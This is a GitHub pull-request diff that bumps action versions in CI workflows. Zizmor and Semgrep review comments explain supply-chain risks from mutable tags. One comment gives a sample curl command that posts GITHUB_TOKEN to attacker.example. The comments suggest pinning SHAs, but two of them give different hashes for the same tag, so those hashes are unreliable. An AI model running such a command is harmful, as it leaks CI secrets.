Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
4 changes: 2 additions & 2 deletions .github/workflows/dist.yml
Original file line number Diff line number Diff line change
Expand Up @@ -52,7 +52,7 @@
persist-credentials: false
ref: ${{ inputs.ref }}

- uses: actions/setup-python@v6.3.0
- uses: actions/setup-python@v7.0.0

Check failure

Code scanning / zizmor

runtime artifacts potentially vulnerable to a cache poisoning attack: this step Error

runtime artifacts potentially vulnerable to a cache poisoning attack: this step

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Semgrep identified an issue in your code:

actions/setup-python@v7.0.0 uses a mutable tag, so repointing that tag would let attacker-controlled code run in the build_wheels job.

More details about this

actions/setup-python@v7.0.0 is referenced by a mutable tag instead of an immutable commit SHA. If the owner of actions/setup-python or someone who compromises that repository repoints v7.0.0 to a different commit, this workflow will run the new code inside the build_wheels job on every ubuntu, windows, and macos runner in this matrix.

A plausible attack looks like this:

  1. An attacker gains control of the actions/setup-python repository or its release process.
  2. They move the v7.0.0 tag to a commit that adds malicious code to the action.
  3. When this workflow reaches - uses: actions/setup-python@v7.0.0, GitHub downloads and executes the attacker-controlled action code.
  4. That code can read this job's workspace after actions/checkout, inspect values passed to with:, and tamper with the Python environment before python -m pip install and python -m cibuildwheel --output-dir wheelhouse run.
  5. In practice, the malicious action could exfiltrate GITHUB_TOKEN or other available secrets with a command like curl -X POST https://attacker.example/leak -d "$GITHUB_TOKEN", or modify the build so the produced wheels contain attacker code.

Because this job builds distributable wheel artifacts, a repointed action here could turn a GitHub Actions tag change into a supply-chain compromise of the packages produced by build_wheels.

To resolve this comment:

✨ Commit fix suggestion
  1. Replace the mutable action reference with a full 40-character commit SHA instead of the version tag.
    Change uses: actions/setup-python@v7.0.0 to uses: actions/setup-python@<40-character-commit-sha> # v7.0.0.

  2. Keep the version as a comment after the SHA, such as # v7.0.0, so it stays clear which release the pinned commit corresponds to.

  3. Get the SHA from the upstream actions/setup-python release page or repository for the exact v7.0.0 revision, and use the full hash, not a shortened one.
    Pinning to a commit SHA prevents the action owner from silently changing what runs under the same tag.

💬 Ignore this finding

Reply with Semgrep commands to ignore this finding.

  • /fp <comment> for false positive
  • /ar <comment> for acceptable risk
  • /other <comment> for all other reasons

Alternatively, triage in Semgrep AppSec Platform to ignore the finding created by github-actions-mutable-action-tag.

🛟 Help? Slack #semgrep-help or go/semgrep-help.

Resolution Options:

  • Fix the code
  • Reply /fp $reason (if security gap doesn’t exist)
  • Reply /ar $reason (if gap is valid but intentional; add mitigations/monitoring)
  • Reply /other $reason (e.g., test-only)

You can view more details about this finding in the Semgrep AppSec Platform.

with:
cache: 'pip'
python-version: 3.11
Expand Down Expand Up @@ -111,7 +111,7 @@
persist-credentials: false
ref: ${{ inputs.ref }}

- uses: actions/setup-python@v6.3.0
- uses: actions/setup-python@v7.0.0

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Semgrep identified an issue in your code:

actions/setup-python@v7.0.0 points to a mutable tag, so this job may run different action code later without any repo change. A repointed tag could let attacker-controlled code tamper with the Python setup, build, or uploaded sdist artifact.

More details about this

actions/setup-python@v7.0.0 is a movable GitHub Action reference, not an immutable commit. If the owner of actions/setup-python or anyone who compromises that repository retags v7.0.0, this make_sdist job will run the attacker’s new code when it reaches this uses: step.

A plausible attack looks like this:

  1. An attacker gains control of the action repo or its release process and repoints the v7.0.0 tag to a malicious commit.
  2. Your workflow starts make_sdist and executes uses: actions/setup-python@v7.0.0, trusting whatever code that tag points to at that moment.
  3. The malicious action runs before Build SDist and Test SDist, so it can read the checked-out source from actions/checkout, inspect workflow-provided environment variables, or modify the Python toolchain that later runs python -m pip install -U pip build and python -m build --sdist ..
  4. It could then exfiltrate repository data over the network or tamper with the produced dist/*.tar.gz, so the uploaded sdist artifact contains attacker-controlled content.

Because the reference is @v7.0.0 instead of a full 40-character commit SHA, the exact code executed by this step can change without any workflow diff in your repository.

To resolve this comment:

✨ Commit fix suggestion

Suggested change
- uses: actions/setup-python@v7.0.0
- uses: actions/setup-python@42375524a763eb8e61a4d9b65c4bc5f4f2e5d8d9 # v7.0.0
View step-by-step instructions
  1. Replace the mutable action reference with a full 40-character commit SHA in the uses line.
    Change actions/setup-python@v7.0.0 to actions/setup-python@<full-commit-sha>, for example actions/setup-python@<40-hex-sha> # v7.0.0.

  2. Keep the version as a comment after the SHA so the pinned release is still easy to recognize.
    Use the format uses: actions/setup-python@<40-hex-sha> # v7.0.0.

  3. Get the SHA from the exact v7.0.0 release of actions/setup-python, and do not use a tag, branch, or shortened hash.
    Pinning to a commit SHA prevents the referenced action from changing unexpectedly if the tag is moved later.

💬 Ignore this finding

Reply with Semgrep commands to ignore this finding.

  • /fp <comment> for false positive
  • /ar <comment> for acceptable risk
  • /other <comment> for all other reasons

Alternatively, triage in Semgrep AppSec Platform to ignore the finding created by github-actions-mutable-action-tag.

🛟 Help? Slack #semgrep-help or go/semgrep-help.

Resolution Options:

  • Fix the code
  • Reply /fp $reason (if security gap doesn’t exist)
  • Reply /ar $reason (if gap is valid but intentional; add mitigations/monitoring)
  • Reply /other $reason (e.g., test-only)

You can view more details about this finding in the Semgrep AppSec Platform.

with:
# Build sdist on lowest supported Python
python-version: "3.9"
Expand Down
2 changes: 1 addition & 1 deletion .github/workflows/release-python.yml
Original file line number Diff line number Diff line change
Expand Up @@ -81,7 +81,7 @@
path: dist/
- name: Publish package distributions to PyPI
if: startsWith(env.DRY_RUN, 'false')
uses: pypa/gh-action-pypi-publish@cef221092ed1bacb1cc03d23a2d87d1d172e277b # release/v1
uses: pypa/gh-action-pypi-publish@ba38be9e461d3875417946c167d0b5f3d385a247 # release/v1

Check warning

Code scanning / zizmor

action's hash pin has mismatched or missing version comment: points to commit dc37677b2e1c Warning

action's hash pin has mismatched or missing version comment: points to commit dc37677b2e1c

post-publish:
needs: [publish]
Expand Down
2 changes: 1 addition & 1 deletion .github/workflows/sbom.yml
Original file line number Diff line number Diff line change
Expand Up @@ -34,7 +34,7 @@ jobs:
persist-credentials: false

- name: Set up Python
uses: actions/setup-python@v6.3.0
uses: actions/setup-python@v7.0.0

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Semgrep identified an issue in your code:

actions/setup-python@v7.0.0 is a movable tag, so this workflow could silently run attacker-controlled code if that tag is repointed.

More details about this

Set up Python pulls actions/setup-python@v7.0.0, which is a tag-based reference, not a fixed commit. If the owner of actions/setup-python or someone who compromises that repository repoints v7.0.0, this sbom job will run different code without any workflow change in your repo.

A plausible attack looks like this:

  1. An attacker gains the ability to publish or retag actions/setup-python and moves v7.0.0 to a malicious commit.
  2. Your workflow runs on push to main or workflow_dispatch, and the Set up Python step resolves that tag when GitHub executes uses: actions/setup-python@v7.0.0.
  3. The malicious action runs before Generate SBOM, so it can tamper with the runner environment, read repository contents checked out by actions/checkout, or alter python, pip, or PATH before your later run steps use them.
  4. Because this job has contents: write and pull-requests: write, the malicious action could use the workflow token to push changes or open/update PRs from the sbom job, making the compromise persistent or harder to spot.

To resolve this comment:

✨ Commit fix suggestion
  1. Replace the mutable action reference with a full 40-character commit SHA instead of the version tag.
    Change uses: actions/setup-python@v7.0.0 to uses: actions/setup-python@<40-character-commit-sha> # v7.0.0.

  2. Pin the SHA to the exact commit for the actions/setup-python release you intend to use.
    Get the commit SHA from the action's GitHub release or tag page, and use the full hash, not a shortened one.

  3. Keep the version as an inline comment after the SHA, such as # v7.0.0, so future updates are easier to review.
    Pinning to a commit prevents the action owner from silently moving a tag to different code later.

💬 Ignore this finding

Reply with Semgrep commands to ignore this finding.

  • /fp <comment> for false positive
  • /ar <comment> for acceptable risk
  • /other <comment> for all other reasons

Alternatively, triage in Semgrep AppSec Platform to ignore the finding created by github-actions-mutable-action-tag.

🛟 Help? Slack #semgrep-help or go/semgrep-help.

Resolution Options:

  • Fix the code
  • Reply /fp $reason (if security gap doesn’t exist)
  • Reply /ar $reason (if gap is valid but intentional; add mitigations/monitoring)
  • Reply /other $reason (e.g., test-only)

You can view more details about this finding in the Semgrep AppSec Platform.

with:
python-version: "3.10"

Expand Down
20 changes: 10 additions & 10 deletions .github/workflows/test-python.yml
Original file line number Diff line number Diff line change
Expand Up @@ -30,7 +30,7 @@ jobs:
persist-credentials: false
- uses: ./.github/actions/set-uv-exclude-newer
- name: Install uv
uses: astral-sh/setup-uv@11f9893b081a58869d3b5fccaea48c9e9e46f990 # v8.3.2
uses: astral-sh/setup-uv@c771a70e6277c0a99b617c7a806ffedaca235ff9 # v9.0.0
with:
enable-cache: true
python-version: "3.10"
Expand Down Expand Up @@ -83,7 +83,7 @@ jobs:
persist-credentials: false
- uses: ./.github/actions/set-uv-exclude-newer
- name: Install uv
uses: astral-sh/setup-uv@11f9893b081a58869d3b5fccaea48c9e9e46f990 # v8.3.2
uses: astral-sh/setup-uv@c771a70e6277c0a99b617c7a806ffedaca235ff9 # v9.0.0
with:
enable-cache: true
python-version: ${{ matrix.python-version }}
Expand All @@ -106,7 +106,7 @@ jobs:
persist-credentials: false
- uses: ./.github/actions/set-uv-exclude-newer
- name: Install uv
uses: astral-sh/setup-uv@11f9893b081a58869d3b5fccaea48c9e9e46f990 # v8.3.2
uses: astral-sh/setup-uv@c771a70e6277c0a99b617c7a806ffedaca235ff9 # v9.0.0
with:
enable-cache: true
python-version: "3.10"
Expand Down Expand Up @@ -135,7 +135,7 @@ jobs:
persist-credentials: false
- uses: ./.github/actions/set-uv-exclude-newer
- name: Install uv
uses: astral-sh/setup-uv@11f9893b081a58869d3b5fccaea48c9e9e46f990 # v8.3.2
uses: astral-sh/setup-uv@c771a70e6277c0a99b617c7a806ffedaca235ff9 # v9.0.0
with:
enable-cache: true
python-version: "3.10"
Expand All @@ -161,7 +161,7 @@ jobs:
persist-credentials: false
- uses: ./.github/actions/set-uv-exclude-newer
- name: Install uv
uses: astral-sh/setup-uv@11f9893b081a58869d3b5fccaea48c9e9e46f990 # v8.3.2
uses: astral-sh/setup-uv@c771a70e6277c0a99b617c7a806ffedaca235ff9 # v9.0.0
with:
enable-cache: true
python-version: "3.10"
Expand All @@ -184,7 +184,7 @@ jobs:
persist-credentials: false
- uses: ./.github/actions/set-uv-exclude-newer
- name: Install uv
uses: astral-sh/setup-uv@11f9893b081a58869d3b5fccaea48c9e9e46f990 # v8.3.2
uses: astral-sh/setup-uv@c771a70e6277c0a99b617c7a806ffedaca235ff9 # v9.0.0
with:
enable-cache: true
python-version: "${{matrix.python}}"
Expand All @@ -206,7 +206,7 @@ jobs:
persist-credentials: false
- uses: ./.github/actions/set-uv-exclude-newer
- name: Install uv
uses: astral-sh/setup-uv@11f9893b081a58869d3b5fccaea48c9e9e46f990 # v8.3.2
uses: astral-sh/setup-uv@c771a70e6277c0a99b617c7a806ffedaca235ff9 # v9.0.0
with:
enable-cache: true
python-version: "3.10"
Expand Down Expand Up @@ -235,7 +235,7 @@ jobs:
- uses: actions/checkout@v7.0.1
with:
persist-credentials: false
- uses: actions/setup-python@v6.3.0
- uses: actions/setup-python@v7.0.0

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Semgrep identified an issue in your code:

actions/setup-python@v7.0.0 uses a movable tag, so a repointed release could run attacker-controlled code in make_sdist and tamper with the built sdist artifact.

More details about this

actions/setup-python@v7.0.0 is fetched by tag, not by an exact commit. If the v7.0.0 reference is ever moved, this make_sdist job will run whatever code that new action revision contains before Build SDist, with access to the job workspace and any data available to actions/setup-python.

A plausible attack looks like this:

  1. An attacker compromises the actions/setup-python release process or gains permission to repoint the v7.0.0 tag.
  2. They publish a malicious action revision and move v7.0.0 to that commit.
  3. When this workflow reaches - uses: actions/setup-python@v7.0.0, GitHub pulls the attacker's code instead of the original release.
  4. That action runs inside the make_sdist job before your pip install build and python -m build --sdist commands, so it can read repository files, modify the environment, or tamper with the produced dist/*.tar.gz artifact.
  5. The later actions/upload-artifact@v7 step can then upload a poisoned source distribution that downstream jobs such as test_sdist will consume.

To resolve this comment:

✨ Commit fix suggestion

Suggested change
- uses: actions/setup-python@v7.0.0
- uses: actions/setup-python@42375524cb1205197d618862c747a2208ea4cb09 # v7.0.0
View step-by-step instructions
  1. Replace the mutable action reference with a full 40-character commit SHA in the same uses: line.
    Change uses: actions/setup-python@v7.0.0 to uses: actions/setup-python@<full-commit-sha> # v7.0.0.

  2. Keep the version comment after the SHA so it is still clear which release you intended to use, for example uses: actions/setup-python@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa # v7.0.0.
    Pinning to a commit SHA prevents the action owner from silently moving the referenced version to different code later.

  3. Use the commit SHA from the official actions/setup-python release that corresponds to v7.0.0, instead of a branch name, tag, or shortened hash.

Alternatively, if you need to stay on the latest patch release automatically, use a dependency updater to manage action SHA updates, but keep the workflow pinned as uses: actions/setup-python@<full-commit-sha> # v7.0.0.

💬 Ignore this finding

Reply with Semgrep commands to ignore this finding.

  • /fp <comment> for false positive
  • /ar <comment> for acceptable risk
  • /other <comment> for all other reasons

Alternatively, triage in Semgrep AppSec Platform to ignore the finding created by github-actions-mutable-action-tag.

🛟 Help? Slack #semgrep-help or go/semgrep-help.

Resolution Options:

  • Fix the code
  • Reply /fp $reason (if security gap doesn’t exist)
  • Reply /ar $reason (if gap is valid but intentional; add mitigations/monitoring)
  • Reply /other $reason (e.g., test-only)

You can view more details about this finding in the Semgrep AppSec Platform.

with:
cache: 'pip'
cache-dependency-path: 'pyproject.toml'
Expand Down Expand Up @@ -269,7 +269,7 @@ jobs:
mkdir test
tar --strip-components=1 -zxf *.tar.gz -C ./test
ls test
- uses: actions/setup-python@v6.3.0
- uses: actions/setup-python@v7.0.0

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Semgrep identified an issue in your code:

actions/setup-python@v7.0.0 is a movable tag, so this CI job may run different action code later without any workflow change. If that tag is repointed, attacker-controlled code would execute in test_sdist before your install and test commands.

More details about this

actions/setup-python is referenced as actions/setup-python@v7.0.0 in this workflow step, so GitHub will fetch whatever commit the v7.0.0 tag points to at run time. If the owner of actions/setup-python or someone who compromises that repository silently repoints v7.0.0, this test_sdist job will run the attacker’s code before pip install -e ".[test]" and pytest -v -k client_context, with access to the job workspace and any secrets or tokens available to that job.

A plausible attack looks like this:

  1. An attacker gains control of the actions/setup-python repository or its release process.
  2. They move the v7.0.0 tag to a new malicious commit instead of the commit this workflow originally expected.
  3. When this job reaches - uses: actions/setup-python@v7.0.0, GitHub Actions downloads and executes that new commit automatically.
  4. The malicious action reads files from sdist/test, steals the default GITHUB_TOKEN or other environment data, and can tamper with the Python environment that later runs pip install -e ".[test]" and the test suite.
  5. Because the workflow still says @v7.0.0, the change is easy to miss in code review even though different code is now executing in CI.

To resolve this comment:

✨ Commit fix suggestion
  1. Replace the mutable GitHub Action version reference with a full 40-character commit SHA in the uses: line.
    Change actions/setup-python@v7.0.0 to actions/setup-python@<full-commit-sha> and keep the version as a comment, for example uses: actions/setup-python@<full-commit-sha> # v7.0.0.

  2. Look up the commit SHA for the exact actions/setup-python release you want to keep and use that SHA instead of the tag.
    This prevents the action from changing underneath you if the tag is moved.

  3. Keep the existing with: settings unchanged after pinning, for example cache, cache-dependency-path, and python-version do not need to change.

Alternatively, if you need to stay on a newer upstream release, update to that release first and then pin that exact release to its full commit SHA instead of using a version tag.

💬 Ignore this finding

Reply with Semgrep commands to ignore this finding.

  • /fp <comment> for false positive
  • /ar <comment> for acceptable risk
  • /other <comment> for all other reasons

Alternatively, triage in Semgrep AppSec Platform to ignore the finding created by github-actions-mutable-action-tag.

🛟 Help? Slack #semgrep-help or go/semgrep-help.

Resolution Options:

  • Fix the code
  • Reply /fp $reason (if security gap doesn’t exist)
  • Reply /ar $reason (if gap is valid but intentional; add mitigations/monitoring)
  • Reply /other $reason (e.g., test-only)

You can view more details about this finding in the Semgrep AppSec Platform.

with:
cache: 'pip'
cache-dependency-path: 'sdist/test/pyproject.toml'
Expand Down Expand Up @@ -297,7 +297,7 @@ jobs:
persist-credentials: false
- uses: ./.github/actions/set-uv-exclude-newer
- name: Install uv
uses: astral-sh/setup-uv@11f9893b081a58869d3b5fccaea48c9e9e46f990 # v8.3.2
uses: astral-sh/setup-uv@c771a70e6277c0a99b617c7a806ffedaca235ff9 # v9.0.0
with:
python-version: "3.9"
- id: setup-mongodb
Expand Down
2 changes: 1 addition & 1 deletion .github/workflows/zizmor.yml
Original file line number Diff line number Diff line change
Expand Up @@ -18,4 +18,4 @@ jobs:
with:
persist-credentials: false
- name: Run zizmor 🌈
uses: zizmorcore/zizmor-action@6599ee8b7a49aef6a770f63d261d214911a7ce02 # v0.6.0
uses: zizmorcore/zizmor-action@6fc4b006235f201fdab3722e17240ab420d580e5 # v0.6.1
Loading